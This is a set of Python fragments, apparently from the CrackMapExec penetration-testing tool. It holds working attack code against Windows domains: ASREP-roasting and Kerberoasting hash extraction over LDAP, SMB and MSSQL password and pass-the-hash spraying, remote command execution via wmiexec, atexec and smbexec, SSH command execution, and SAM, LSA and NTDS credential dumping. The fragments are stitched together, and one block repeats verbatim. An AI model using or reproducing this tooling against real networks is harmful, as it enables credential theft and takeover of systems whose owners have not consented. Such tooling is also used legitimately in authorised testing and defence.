Connect to LDAP try: self.ldapConnection = ldap_impacket.LDAPConnection( 'ldap://%s' % target, self.baseDN, self.kdcHost) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) except ldap_impacket.LDAPSessionError as e: if str(e).find('strongerAuthRequired') >= 0: # We need to try SSL self.ldapConnection = ldap_impacket.LDAPConnection( 'ldaps://%s' % target, self.baseDN, self.kdcHost) self.ldapConnection.login(self.username, self.password, self.domain, self.lmhash, self.nthash) try: self.ldapConnection.search(searchFilter='(objectCategory=nop)') out = u'{}{}:{}'.format('{}\\'.format(domain), username, nthash) self.logger.success(out) except ldap_impacket.LDAPSearchError as e: self.logger.error(u'{}\{}:{}'.format(self.domain, self.username, self.nthash)) return False return True def create_smbv1_conn(self): try: self.conn = SMBConnection(self.host, self.host, None, 445, preferredDialect=SMB_DIALECT) self.smbv1 = True except socket.error as e: if str(e).find('Connection reset by peer') != -1: logging.debug('SMBv1 might be disabled on {}'.format( self.host)) return False except Exception as e: logging.debug('Error creating SMBv1 connection to {}: {}'.format( self.host, e)) return False return True def create_smbv3_conn(self): try: self.conn = SMBConnection(self.host, self.host, None, 445) self.smbv1 = False except socket.error: return False except Exception as e: logging.debug('Error creating SMBv3 connection to {}: {}'.format( self.host, e)) return False return True def create_conn_obj(self): if self.create_smbv1_conn(): return True elif self.create_smbv3_conn(): return True return False def getUnixTime(self, t): t -= 116444736000000000 t /= 10000000 return t def asreproast(self): if self.password == '' and self.nthash != '' and self.kerberos != False: return False # Building the search filter searchFilter = "(&(UserAccountControl:1.2.840.113556.1.4.803:=%d)" \ "(!(UserAccountControl:1.2.840.113556.1.4.803:=%d))(!(objectCategory=computer)))" % \ (UF_DONT_REQUIRE_PREAUTH, UF_ACCOUNTDISABLE) try: logging.debug('Search Filter=%s' % searchFilter) resp = self.ldapConnection.search(searchFilter=searchFilter, attributes=[ 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon' ], sizeLimit=999) except ldap_impacket.LDAPSearchError as e: if e.getErrorString().find('sizeLimitExceeded') >= 0: logging.debug( 'sizeLimitExceeded exception caught, giving up and processing the data received' ) # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() pass else: return False answers = [] logging.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = "0x%x" % int(attribute['vals'][0]) elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '<never>' else: pwdLastSet = str( datetime.fromtimestamp( self.getUnixTime( int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '<never>' else: lastLogon = str( datetime.fromtimestamp( self.getUnixTime( int(str(attribute['vals'][0]))))) if mustCommit is True: answers.append([ sAMAccountName, memberOf, pwdLastSet, lastLogon, userAccountControl ]) except Exception as e: logging.debug("Exception:", exc_info=True) logging.debug('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers) > 0: for user in answers: hash_TGT = KerberosAttacks(self).getTGT_asroast(user[0]) self.logger.highlight(u'{}'.format(hash_TGT)) with open(self.args.asreproast, 'a+') as hash_asreproast: hash_asreproast.write(hash_TGT + '\n') return True else: self.logger.error("No entries found!") def kerberoasting(self): # Building the search filter searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \ "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer)))" try: resp = self.ldapConnection.search(searchFilter=searchFilter, attributes=[ 'servicePrincipalName', 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon' ], sizeLimit=999) except ldap_impacket.LDAPSearchError as e: if e.getErrorString().find('sizeLimitExceeded') >= 0: logging.debug( 'sizeLimitExceeded exception caught, giving up and processing the data received' ) # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() pass else: return False answers = [] logging.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' SPNs = [] pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' delegation = '' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = str(attribute['vals'][0]) if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION: delegation = 'unconstrained' elif int(userAccountControl ) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION: delegation = 'constrained' elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '<never>' else: pwdLastSet = str( datetime.fromtimestamp( self.getUnixTime( int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '<never>' else: lastLogon = str( datetime.fromtimestamp( self.getUnixTime( int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'servicePrincipalName': for spn in attribute['vals']: SPNs.append(str(spn)) if mustCommit is True: if int(userAccountControl) & UF_ACCOUNTDISABLE: logging.debug('Bypassing disabled account %s ' % sAMAccountName) else: for spn in SPNs: answers.append([ spn, sAMAccountName, memberOf, pwdLastSet, lastLogon, delegation ]) except Exception as e: logging.error('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers) > 0: users = dict((vals[1], vals[0]) for vals in answers) TGT = KerberosAttacks(self).getTGT_kerberoasting() for user, SPN in users.items(): try: serverName = Principal( SPN, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS( serverName, self.domain, self.kdcHost, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey']) r = KerberosAttacks(self).outputTGS( tgs, oldSessionKey, sessionKey, user, SPN) self.logger.highlight(u'{}'.format(r)) with open(self.args.kerberoasting, 'a+') as hash_kerberoasting: hash_kerberoasting.write(r + '\n') except Exception as e: logging.debug("Exception:", exc_info=True) logging.error('SPN: %s - %s' % (SPN, str(e))) else: self.logger.error("No entries found!") def trusted_for_delegation(self): # Building the search filter searchFilter = "(userAccountControl:1.2.840.113556.1.4.803:=524288)" try: logging.debug('Search Filter=%s' % searchFilter) resp = self.ldapConnection.search(searchFilter=searchFilter, attributes=[ 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon' ], sizeLimit=999) except ldap_impacket.LDAPSearchError as e: if e.getErrorString().find('sizeLimitExceeded') >= 0: logging.debug( 'sizeLimitExceeded exception caught, giving up and processing the data received' ) # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() pass else: return False answers = [] logging.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = "0x%x" % int(attribute['vals'][0]) elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '<never>' else: pwdLastSet = str( datetime.fromtimestamp( self.getUnixTime( int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '<never>' else: lastLogon = str( datetime.fromtimestamp( self.getUnixTime( int(str(attribute['vals'][0]))))) if mustCommit is True: answers.append([ sAMAccountName, memberOf, pwdLastSet, lastLogon, userAccountControl ]) except Exception as e: logging.debug("Exception:", exc_info=True) logging.debug('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers) > 0: logging.debug(answers) for value in answers: self.logger.highlight(value[0]) else: self.logger.error("No entries found!") return def admin_count(self): # Building the search filter searchFilter = "(adminCount=1)" try: logging.debug('Search Filter=%s' % searchFilter) resp = self.ldapConnection.search(searchFilter=searchFilter, attributes=[ 'sAMAccountName', 'pwdLastSet', 'MemberOf', 'userAccountControl', 'lastLogon' ], sizeLimit=999) except ldap_impacket.LDAPSearchError as e: if e.getErrorString().find('sizeLimitExceeded') >= 0: logging.debug( 'sizeLimitExceeded exception caught, giving up and processing the data received' ) # We reached the sizeLimit, process the answers we have already and that's it. Until we implement # paged queries resp = e.getAnswers() pass else: return False answers = [] logging.debug('Total of records returned %d' % len(resp)) for item in resp: if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True: continue mustCommit = False sAMAccountName = '' memberOf = '' pwdLastSet = '' userAccountControl = 0 lastLogon = 'N/A' try: for attribute in item['attributes']: if str(attribute['type']) == 'sAMAccountName': sAMAccountName = str(attribute['vals'][0]) mustCommit = True elif str(attribute['type']) == 'userAccountControl': userAccountControl = "0x%x" % int(attribute['vals'][0]) elif str(attribute['type']) == 'memberOf': memberOf = str(attribute['vals'][0]) elif str(attribute['type']) == 'pwdLastSet': if str(attribute['vals'][0]) == '0': pwdLastSet = '<never>' else: pwdLastSet = str( datetime.fromtimestamp( self.getUnixTime( int(str(attribute['vals'][0]))))) elif str(attribute['type']) == 'lastLogon': if str(attribute['vals'][0]) == '0': lastLogon = '<never>' else: lastLogon = str( datetime.fromtimestamp( self.getUnixTime( int(str(attribute['vals'][0]))))) if mustCommit is True: answers.append([ sAMAccountName, memberOf, pwdLastSet, lastLogon, userAccountControl ]) except Exception as e: logging.debug("Exception:", exc_info=True) logging.debug('Skipping item, cannot process due to error %s' % str(e)) pass if len(answers) > 0: logging.debug(answers) for value in answers: self.logger.highlight(value[0]) else: self.logger.error("No entries found!") return
def __init__(self, args, db, host, module, chain_list, cmeserver, share_name): self.args = args self.db = db self.host = host self.module = module self.chain_list = chain_list self.cmeserver = cmeserver self.share_name = share_name self.conn = None self.hostname = None self.domain = None self.server_os = None self.logger = None self.password = None self.username = None self.hash = None self.admin_privs = False self.failed_logins = 0 try: smb = SMBConnection(self.host, self.host, None, self.args.smb_port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] #Get the remote ip address (in case the target is a hostname) remote_ip = smb.getRemoteHost() try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass self.host = remote_ip self.domain = smb.getServerDomain() self.hostname = smb.getServerName() self.server_os = smb.getServerOS() if not self.domain: self.domain = self.hostname self.db.add_host(self.host, self.hostname, self.domain, self.server_os) self.logger = CMEAdapter(getLogger('CME'), { 'host': self.host, 'port': self.args.smb_port, 'hostname': u'{}'.format(self.hostname) }) self.logger.info(u"{} (name:{}) (domain:{})".format( self.server_os, self.hostname.decode('utf-8'), self.domain.decode('utf-8') )) try: ''' DC's seem to want us to logoff first, windows workstations sometimes reset the connection (go home Windows, you're drunk) ''' smb.logoff() except: pass if self.args.mssql: instances = None self.logger.extra['port'] = self.args.mssql_port mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger) mssql.connect() instances = mssql.getInstances(10) if len(instances) > 0: self.logger.info("Found {} MSSQL instance(s)".format(len(instances))) for i, instance in enumerate(instances): self.logger.highlight("Instance {}".format(i)) for key in instance.keys(): self.logger.highlight(key + ":" + instance[key]) try: mssql.disconnect() except: pass if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id: if self.args.mssql and (instances is not None and len(instances) > 0): self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger) self.conn.connect() elif not args.mssql: self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port) except socket.error: pass if self.conn: if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname self.login() if (self.password is not None or self.hash is not None) and self.username is not None: if self.module or self.chain_list: if self.chain_list: module = self.chain_list[0]['object'] module_logger = CMEAdapter(getLogger('CME'), { 'module': module.name.upper(), 'host': self.host, 'port': self.args.smb_port, 'hostname': self.hostname }) context = Context(self.db, module_logger, self.args) context.localip = local_ip if hasattr(module, 'on_request') or hasattr(module, 'has_response'): cmeserver.server.context.localip = local_ip if self.module: launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command) payload = module.payload(context, None if not hasattr(module, 'command') else module.command) if hasattr(module, 'on_login'): module.on_login(context, self, launcher, payload) if self.admin_privs and hasattr(module, 'on_admin_login'): module.on_admin_login(context, self, launcher, payload) elif self.chain_list: module_list = self.chain_list[:] module_list.reverse() final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command) if len(module_list) > 2: for m in module_list: if m['object'] == module or m['object'] == module_list[0]['object']: continue final_launcher = m['object'].launcher(context, final_launcher) if module == module_list[0]['object']: final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command launcher = module.launcher(context, final_launcher) payload = module.payload(context, final_launcher) if hasattr(module, 'on_login'): module.on_login(context, self) if self.admin_privs and hasattr(module, 'on_admin_login'): module.on_admin_login(context, self, launcher, payload) elif self.module is None and self.chain_list is None: for k, v in vars(self.args).iteritems(): if hasattr(self, k) and hasattr(getattr(self, k), '__call__'): if v is not False and v is not None: getattr(self, k)()
class ssh(connection): @staticmethod def proto_args(parser, std_parser, module_parser): ssh_parser = parser.add_parser('ssh', help="own stuff using SSH", parents=[std_parser, module_parser]) #ssh_parser.add_argument("--key-file", type=str, help="Authenticate using the specified private key") ssh_parser.add_argument("--port", type=int, default=22, help="SSH port (default: 22)") cgroup = ssh_parser.add_argument_group("Command Execution", "Options for executing commands") cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output') cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") return parser def proto_logger(self): self.logger = CMEAdapter(extra={'protocol': 'SSH', 'host': self.host, 'port': self.args.port, 'hostname': self.hostname}) def print_host_info(self): self.logger.info(self.remote_version) def enum_host_info(self): self.remote_version = self.conn._transport.remote_version def create_conn_obj(self): self.conn = paramiko.SSHClient() self.conn.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: self.conn.connect(self.host, port=self.args.port) except AuthenticationException: return True except SSHException: return True except NoValidConnectionsError: return False except socket.error: return False def check_if_admin(self): stdin, stdout, stderr = self.conn.exec_command('id') if stdout.read().find('uid=0(root)') != -1: self.admin_privs = True def plaintext_login(self, username, password): try: self.conn.connect(self.host, port=self.args.port, username=username, password=password) self.check_if_admin() self.logger.success(u'{}:{} {}'.format(username.decode('utf-8'), password.decode('utf-8'), highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) return True except Exception as e: self.logger.error(u'{}:{} {}'.format(username.decode('utf-8'), password.decode('utf-8'), e)) return False def execute(self, payload=None, get_output=False): stdin, stdout, stderr = self.conn.exec_command(self.args.execute) self.logger.success('Executed command') for line in stdout: self.logger.highlight(line.decode('utf-8').strip()) return stdout
class Connection: def __init__(self, args, db, host, module, chain_list, cmeserver, share_name): self.args = args self.db = db self.host = host self.module = module self.chain_list = chain_list self.cmeserver = cmeserver self.share_name = share_name self.conn = None self.hostname = None self.domain = None self.server_os = None self.logger = None self.password = None self.username = None self.hash = None self.admin_privs = False self.failed_logins = 0 try: smb = SMBConnection(self.host, self.host, None, self.args.smb_port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] #Get the remote ip address (in case the target is a hostname) remote_ip = smb.getRemoteHost() try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass self.host = remote_ip self.domain = smb.getServerDomain() self.hostname = smb.getServerName() self.server_os = smb.getServerOS() if not self.domain: self.domain = self.hostname self.db.add_host(self.host, self.hostname, self.domain, self.server_os) self.logger = CMEAdapter(getLogger('CME'), { 'host': self.host, 'port': self.args.smb_port, 'hostname': u'{}'.format(self.hostname) }) self.logger.info(u"{} (name:{}) (domain:{})".format( self.server_os, self.hostname.decode('utf-8'), self.domain.decode('utf-8') )) try: ''' DC's seem to want us to logoff first, windows workstations sometimes reset the connection (go home Windows, you're drunk) ''' smb.logoff() except: pass if self.args.mssql: instances = None self.logger.extra['port'] = self.args.mssql_port mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger) mssql.connect() instances = mssql.getInstances(10) if len(instances) > 0: self.logger.info("Found {} MSSQL instance(s)".format(len(instances))) for i, instance in enumerate(instances): self.logger.highlight("Instance {}".format(i)) for key in instance.keys(): self.logger.highlight(key + ":" + instance[key]) try: mssql.disconnect() except: pass if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id: if self.args.mssql and (instances is not None and len(instances) > 0): self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger) self.conn.connect() elif not args.mssql: self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port) except socket.error: pass if self.conn: if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname self.login() if (self.password is not None or self.hash is not None) and self.username is not None: if self.module or self.chain_list: if self.chain_list: module = self.chain_list[0]['object'] module_logger = CMEAdapter(getLogger('CME'), { 'module': module.name.upper(), 'host': self.host, 'port': self.args.smb_port, 'hostname': self.hostname }) context = Context(self.db, module_logger, self.args) context.localip = local_ip if hasattr(module, 'on_request') or hasattr(module, 'has_response'): cmeserver.server.context.localip = local_ip if self.module: launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command) payload = module.payload(context, None if not hasattr(module, 'command') else module.command) if hasattr(module, 'on_login'): module.on_login(context, self, launcher, payload) if self.admin_privs and hasattr(module, 'on_admin_login'): module.on_admin_login(context, self, launcher, payload) elif self.chain_list: module_list = self.chain_list[:] module_list.reverse() final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command) if len(module_list) > 2: for m in module_list: if m['object'] == module or m['object'] == module_list[0]['object']: continue final_launcher = m['object'].launcher(context, final_launcher) if module == module_list[0]['object']: final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command launcher = module.launcher(context, final_launcher) payload = module.payload(context, final_launcher) if hasattr(module, 'on_login'): module.on_login(context, self) if self.admin_privs and hasattr(module, 'on_admin_login'): module.on_admin_login(context, self, launcher, payload) elif self.module is None and self.chain_list is None: for k, v in vars(self.args).iteritems(): if hasattr(self, k) and hasattr(getattr(self, k), '__call__'): if v is not False and v is not None: getattr(self, k)() def over_fail_limit(self, username): global global_failed_logins global user_failed_logins if global_failed_logins == self.args.gfail_limit: return True if self.failed_logins == self.args.fail_limit: return True if username in user_failed_logins.keys(): if self.args.ufail_limit == user_failed_logins[username]: return True return False def check_if_admin(self): if self.args.mssql: try: #I'm pretty sure there has to be a better way of doing this. #Currently we are just searching for our user in the sysadmin group self.conn.sql_query("EXEC sp_helpsrvrolemember 'sysadmin'") query_output = self.conn.printRows() if query_output.find('{}\\{}'.format(self.domain, self.username)) != -1: self.admin_privs = True except: pass elif not self.args.mssql: ''' We use the OpenSCManagerW Win32API call to to establish a handle to the remote host. If this succeeds, the user context has administrator access to the target. Idea stolen from PowerView's Invoke-CheckLocalAdminAccess ''' stringBinding = r'ncacn_np:{}[\pipe\svcctl]'.format(self.host) rpctransport = transport.DCERPCTransportFactory(stringBinding) rpctransport.set_dport(self.args.smb_port) lmhash = '' nthash = '' if self.hash: if self.hash.find(':') != -1: lmhash, nthash = self.hash.split(':') else: nthash = self.hash if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, self.password if self.password is not None else '', self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(scmr.MSRPC_UUID_SCMR) lpMachineName = '{}\x00'.format(self.host) try: # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx resp = scmr.hROpenSCManagerW(dce, lpMachineName, 'ServicesActive\x00', 0xF003F) self.admin_privs = True except DCERPCException: pass def plaintext_login(self, domain, username, password): try: if self.args.mssql: res = self.conn.login(None, username, password, domain, None, True if self.args.mssql_auth == 'windows' else False) if res is not True: self.conn.printReplies() return False elif not self.args.mssql: self.conn.login(username, password, domain) self.password = password self.username = username self.domain = domain self.check_if_admin() self.db.add_credential('plaintext', domain, username, password) if self.admin_privs: self.db.link_cred_to_host('plaintext', domain, username, password, self.host) out = u'{}\\{}:{} {}'.format(domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8'), highlight('(Pwn3d!)') if self.admin_privs else '') self.logger.success(out) return True except SessionError as e: error, desc = e.getErrorString() self.logger.error(u'{}\\{}:{} {} {}'.format(domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8'), error, '({})'.format(desc) if self.args.verbose else '')) if error == 'STATUS_LOGON_FAILURE': global global_failed_logins global user_failed_logins if username not in user_failed_logins.keys(): user_failed_logins[username] = 0 user_failed_logins[username] += 1 global_failed_logins += 1 self.failed_logins += 1 return False def hash_login(self, domain, username, ntlm_hash): lmhash = '' nthash = '' #This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') else: nthash = ntlm_hash try: if self.args.mssql: res = self.conn.login(None, username, '', domain, ':' + nthash if not lmhash else ntlm_hash, True if self.args.mssql_auth == 'windows' else False) if res is not True: self.conn.printReplies() return False elif not self.args.mssql: self.conn.login(username, '', domain, lmhash, nthash) self.hash = ntlm_hash self.username = username self.domain = domain self.check_if_admin() self.db.add_credential('hash', domain, username, ntlm_hash) if self.admin_privs: self.db.link_cred_to_host('hash', domain, username, ntlm_hash, self.host) out = u'{}\\{} {} {}'.format(domain.decode('utf-8'), username.decode('utf-8'), ntlm_hash, highlight('(Pwn3d!)') if self.admin_privs else '') self.logger.success(out) return True except SessionError as e: error, desc = e.getErrorString() self.logger.error(u'{}\\{} {} {} {}'.format(domain.decode('utf-8'), username.decode('utf-8'), ntlm_hash, error, '({})'.format(desc) if self.args.verbose else '')) if error == 'STATUS_LOGON_FAILURE': global global_failed_logins global user_failed_logins if username not in user_failed_logins.keys(): user_failed_logins[username] = 0 user_failed_logins[username] += 1 global_failed_logins += 1 self.failed_logins += 1 return False def login(self): for cred_id in self.args.cred_id: with sem: try: c_id, credtype, domain, username, password = self.db.get_credentials(filterTerm=int(cred_id))[0] if not domain: domain = self.domain if self.args.local_auth: domain = self.domain elif self.args.domain: domain = self.args.domain if credtype == 'hash' and not self.over_fail_limit(username): if self.hash_login(domain, username, password): return elif credtype == 'plaintext' and not self.over_fail_limit(username): if self.plaintext_login(domain, username, password): return except IndexError: self.logger.error("Invalid database credential ID!") for user in self.args.username: if type(user) is file: for usr in user: if self.args.hash: with sem: for ntlm_hash in self.args.hash: if type(ntlm_hash) is not file: if not self.over_fail_limit(usr.strip()): if self.hash_login(self.domain, usr.strip(), ntlm_hash): return elif type(ntlm_hash) is file: for f_hash in ntlm_hash: if not self.over_fail_limit(usr.strip()): if self.hash_login(self.domain, usr.strip(), f_hash.strip()): return ntlm_hash.seek(0) elif self.args.password: with sem: for password in self.args.password: if type(password) is not file: if not self.over_fail_limit(usr.strip()): if self.plaintext_login(self.domain, usr.strip(), password): return elif type(password) is file: for f_pass in password: if not self.over_fail_limit(usr.strip()): if self.plaintext_login(self.domain, usr.strip(), f_pass.strip()): return password.seek(0) elif type(user) is not file: if self.args.hash: with sem: for ntlm_hash in self.args.hash: if type(ntlm_hash) is not file: if not self.over_fail_limit(user): if self.hash_login(self.domain, user, ntlm_hash): return elif type(ntlm_hash) is file: for f_hash in ntlm_hash: if not self.over_fail_limit(user): if self.hash_login(self.domain, user, f_hash.strip()): return ntlm_hash.seek(0) elif self.args.password: with sem: for password in self.args.password: if type(password) is not file: if not self.over_fail_limit(user): if self.plaintext_login(self.domain, user, password): return elif type(password) is file: for f_pass in password: if not self.over_fail_limit(user): if self.plaintext_login(self.domain, user, f_pass.strip()): return password.seek(0) @requires_admin def execute(self, payload=None, get_output=False, methods=None): default_methods = ['wmiexec', 'atexec', 'smbexec'] if not payload and self.args.execute: payload = self.args.execute if not self.args.no_output: get_output = True if self.args.mssql: exec_method = MSSQLEXEC(self.conn) logging.debug('Executed command via mssqlexec') elif not self.args.mssql: if not methods and not self.args.exec_method: methods = default_methods elif methods or self.args.exec_method: if not methods: methods = [self.args.exec_method] for method in methods: if method == 'wmiexec': try: exec_method = WMIEXEC(self.host, self.share_name, self.username, self.password, self.domain, self.conn, self.hash, self.args.share) logging.debug('Executed command via wmiexec') break except: logging.debug('Error executing command via wmiexec, traceback:') logging.debug(format_exc()) continue elif method == 'atexec': try: exec_method = TSCH_EXEC(self.host, self.share_name, self.username, self.password, self.domain, self.hash) #self.args.share) logging.debug('Executed command via atexec') break except: logging.debug('Error executing command via atexec, traceback:') logging.debug(format_exc()) continue elif method == 'smbexec': try: exec_method = SMBEXEC(self.host, self.share_name, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share) logging.debug('Executed command via smbexec') break except: logging.debug('Error executing command via smbexec, traceback:') logging.debug(format_exc()) continue if self.cmeserver: self.cmeserver.track_host(self.host) output = u'{}'.format(exec_method.execute(payload, get_output).strip().decode('utf-8')) if self.args.execute or self.args.ps_execute: self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else '')) buf = StringIO(output).readlines() for line in buf: self.logger.highlight(line.strip()) return output @requires_admin def ps_execute(self, payload=None, get_output=False, methods=None): if not payload and self.args.ps_execute: payload = self.args.ps_execute if not self.args.no_output: get_output = True return self.execute(create_ps_command(payload), get_output, methods) @requires_admin def sam(self): return DumpSecrets(self).SAM_dump() @requires_admin def lsa(self): return DumpSecrets(self).LSA_dump() @requires_admin def ntds(self): #We could just return the whole NTDS.dit database but in large domains it would be huge and would take up too much memory DumpSecrets(self).NTDS_dump(self.args.ntds, self.args.ntds_pwdLastSet, self.args.ntds_history) @requires_admin def wdigest(self): return getattr(WDIGEST(self), self.args.wdigest)() def shares(self): return ShareEnum(self).enum() @requires_admin def uac(self): return UAC(self).enum() def sessions(self): return RPCQUERY(self).enum_sessions() def disks(self): return RPCQUERY(self).enum_disks() def users(self): return SAMRDump(self).enum() def rid_brute(self): return LSALookupSid(self).brute_force() def pass_pol(self): return PassPolDump(self).enum() def lusers(self): return RPCQUERY(self).enum_lusers() @requires_admin def wmi(self): return WMIQUERY(self).query() def spider(self): spider = SMBSpider(self) spider.spider(self.args.spider, self.args.depth) spider.finish() return spider.results def mssql_query(self): self.conn.sql_query(self.args.mssql_query) return conn.printRows()